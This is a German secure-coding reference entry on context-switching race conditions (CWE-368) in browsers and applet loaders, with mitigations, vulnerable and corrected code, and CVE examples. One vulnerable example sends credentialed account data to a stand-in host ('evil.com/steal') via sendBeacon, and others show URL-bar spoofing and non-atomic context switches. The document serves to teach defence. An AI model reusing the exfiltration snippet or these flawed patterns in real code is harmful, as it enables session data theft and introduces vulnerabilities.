Kontextwechsel-Race-Condition
Beschreibung
Kontextwechsel-Race-Condition ist eine Schwachstelle, die auftritt, wenn ein Produkt nicht-atomare Aktionen beim Wechseln zwischen Sicherheitskontexten durchführt, wodurch eine Race Condition entsteht, die Angreifern ermöglicht, das Verhalten während des Übergangs zu modifizieren. Dies tritt häufig in Webbrowsern auf, wenn zwischen vertrauenswürdigen und nicht vertrauenswürdigen Domains gewechselt wird, wo Aktionen mit falsch ausgerichteten Vertrauensstufen ausgeführt werden können - entweder Code von einer nicht vertrauenswürdigen Domain, der mit vertrauenswürdigen Privilegien ausgeführt wird, oder vertrauenswürdiger Code, der mit nicht vertrauenswürdigem Inhalt interagiert. Die Schwachstelle nutzt die Lücke zwischen dem Beginn eines Kontextwechsels und dessen Abschluss aus.
Risiko
Kontextwechsel-Race-Conditions in Browsern können zu Cross-Domain-Datendiebstahl, Session-Hijacking und Sicherheits-Bypass führen. Wenn JavaScript während eines Seitenübergangs ausgeführt wird, kann es im falschen Sicherheitskontext laufen, was Cross-Site-Scripting-ähnliche Angriffe ermöglicht. Adressleisten-Spoofing tritt auf, wenn die URL vor oder nach der tatsächlichen Sicherheitskontextänderung aktualisiert wird, was Benutzer darüber täuscht, mit welcher Seite sie interagieren. Applet- oder Plugin-Laden während Seitenübergängen kann Use-After-Free-Schwachstellen verursachen. Diese Angriffe untergraben die Same-Origin-Policy und Vertrauensindikatoren, auf die Benutzer sich für Sicherheitsentscheidungen verlassen.
Lösung
Stellen Sie sicher, dass Sicherheitskontextübergänge atomar sind und abgeschlossen sind, bevor jede Codeausführung oder Benutzerinteraktion erlaubt wird. Aktualisieren Sie Vertrauensindikatoren (Adressleiste, SSL-Indikatoren) erst, nachdem der neue Kontext vollständig etabliert ist. Verhindern Sie Skriptausführung während Seitenübergängen. Implementieren Sie ordnungsgemäße Isolation zwischen Sicherheitskontexten, damit ausstehende Operationen aus dem alten Kontext den neuen nicht beeinflussen können. Verwenden Sie wo möglich Prozessisolation für verschiedene Sicherheitskontexte. Validieren Sie den Sicherheitskontext vor jeder sensiblen Operation, nicht nur beim Seitenladen.
Häufige Auswirkungen
| Auswirkung | Details |
|---|---|
| Integrität | Umfang: Integrität Angreifer können Anwendungsdaten modifizieren, indem sie Aktionen im falschen Sicherheitskontext ausführen. |
| Vertraulichkeit | Umfang: Vertraulichkeit Cross-Domain-Datenzugriff ermöglicht Diebstahl sensibler Informationen von anderen Origins. |
Beispielcode
Anfälliger Code
// Anfällig: Aktionen während Seitenübergang
// Angreiferseite bei evil.com
window.onbeforeunload = function() {
// Anfällig: Code läuft während Übergang zu bank.com
// Kann je nach Timing im Kontext von bank.com ausgeführt werden
fetch('/api/account', { credentials: 'include' })
.then(r => r.json())
.then(data => {
// Versuch Daten zu exfiltrieren
navigator.sendBeacon('https://evil.com/steal', JSON.stringify(data));
});
};
// Zu Bank navigieren während onbeforeunload läuft
location.href = 'https://bank.com';
// Anfällig: URL-Leisten-Spoofing über Race Condition
// Seite lädt Inhalt bevor URL aktualisiert wird
function vulnerableNavigate(url) {
// URL sofort aktualisieren
history.pushState(null, '', url);
// Inhalt lädt später - Race-Fenster für Spoofing
fetch(url)
.then(response => response.text())
.then(html => {
document.body.innerHTML = html;
});
// Benutzer sieht legitime URL aber Inhalt kann angreiferkontrolliert sein
}
// Anfällig: Kontextwechsel beim Applet-Laden
public class VulnerableAppletLoader {
public void loadApplet(String url, SecurityContext targetContext) {
// Kontextwechsel beginnen
SecurityContext oldContext = SecurityContext.current();
// Anfällig: Applet beginnt zu laden bevor Kontext gesetzt ist
Applet applet = downloadApplet(url);
// Race: Applet-Code kann hier mit altem Kontext ausgeführt werden
SecurityContext.setCurrent(targetContext);
// Applet im neuen Kontext initialisieren
applet.init();
}
}
Korrigierter Code
// Korrigiert: Kontextwechsel vollständig abschließen vor jeder Ausführung
class SecureNavigator {
async navigate(url) {
// Korrigiert: Alle Skripte vor Übergang deaktivieren
document.querySelectorAll('script').forEach(s => s.remove());
// Korrigiert: Neue Skriptausführung blockieren
const csp = document.createElement('meta');
csp.httpEquiv = 'Content-Security-Policy';
csp.content = "script-src 'none'";
document.head.appendChild(csp);
// Korrigiert: Sensible Daten vor Navigation löschen
this.clearSensitiveState();
// Korrigiert: Mit vollständigem Seitenersatz navigieren
window.location.replace(url);
}
clearSensitiveState() {
// Cookies für aktuelle Domain löschen
// localStorage/sessionStorage löschen
// Ausstehende Anfragen abbrechen
}
}
// Korrigiert: Atomare URL- und Inhaltsaktualisierung
async function secureNavigate(url) {
// Korrigiert: Inhalt zuerst laden, URL nur nach Validierung aktualisieren
try {
const response = await fetch(url);
const html = await response.text();
// Korrigiert: Verifizieren dass Antwort-Origin mit angeforderter URL übereinstimmt
if (new URL(response.url).origin !== new URL(url).origin) {
throw new Error('Unerwartete Weiterleitung');
}
// Korrigiert: Inhalt und URL atomar aktualisieren
document.open();
document.write(html);
document.close();
history.replaceState(null, '', url);
} catch (error) {
// Korrigiert: Bei Fehler URL nicht aktualisieren
console.error('Navigation fehlgeschlagen:', error);
}
}
// Korrigiert: Atomarer Kontextwechsel
public class SecureAppletLoader {
public void loadApplet(String url, SecurityContext targetContext) {
// Korrigiert: Lock für Kontextwechsel erwerben
synchronized (SecurityContext.class) {
// Korrigiert: Kontext VOR dem Laden wechseln
SecurityContext oldContext = SecurityContext.current();
SecurityContext.setCurrent(targetContext);
try {
// Korrigiert: Download und Init im korrekten Kontext
Applet applet = downloadApplet(url);
applet.init();
} catch (Exception e) {
// Korrigiert: Kontext bei Fehler wiederherstellen
SecurityContext.setCurrent(oldContext);
throw e;
}
}
}
}
CVE-Beispiele
- CVE-2009-1837 — Race Condition während Applet-Laden führte zu Use-After-Free.
- CVE-2004-2260 — Adressleisten-Spoofing durch Update-Timing.
- CVE-2004-0191 — JavaScript wurde im falschen Domain-Kontext ausgeführt.
Referenzen
- MITRE Corporation. "CWE-368: Context Switching Race Condition." https://cwe.mitre.org/data/definitions/368.html
- OWASP. "Clickjacking Defense Cheat Sheet." https://cheatsheetseries.owasp.org/